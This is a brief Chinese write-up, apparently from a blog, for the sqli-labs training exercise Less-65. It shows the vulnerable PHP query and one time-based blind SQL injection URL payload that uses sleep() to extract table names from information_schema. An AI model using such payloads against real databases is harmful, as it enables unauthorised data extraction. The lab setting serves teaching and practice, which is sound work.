Less-65

 

$id = '"'.$id.'"';

// Querry DB to get the correct output

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

 

此处对id进行了  “” ()  的处理,构造payload时应该注意。这里给出示例payload:

http://127.0.0.1/sqli-labs/Less-65/?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+

 

相关文章:

  • 2021-10-26
  • 2021-10-31
  • 2021-04-23
  • 2021-12-16
  • 2021-09-14
  • 2021-10-28
  • 2021-09-24
  • 2021-06-02
猜你喜欢
  • 2022-01-10
  • 2021-11-19
  • 2021-11-29
  • 2021-04-13
  • 2021-06-25
  • 2021-07-17
  • 2021-08-31
相关资源
相似解决方案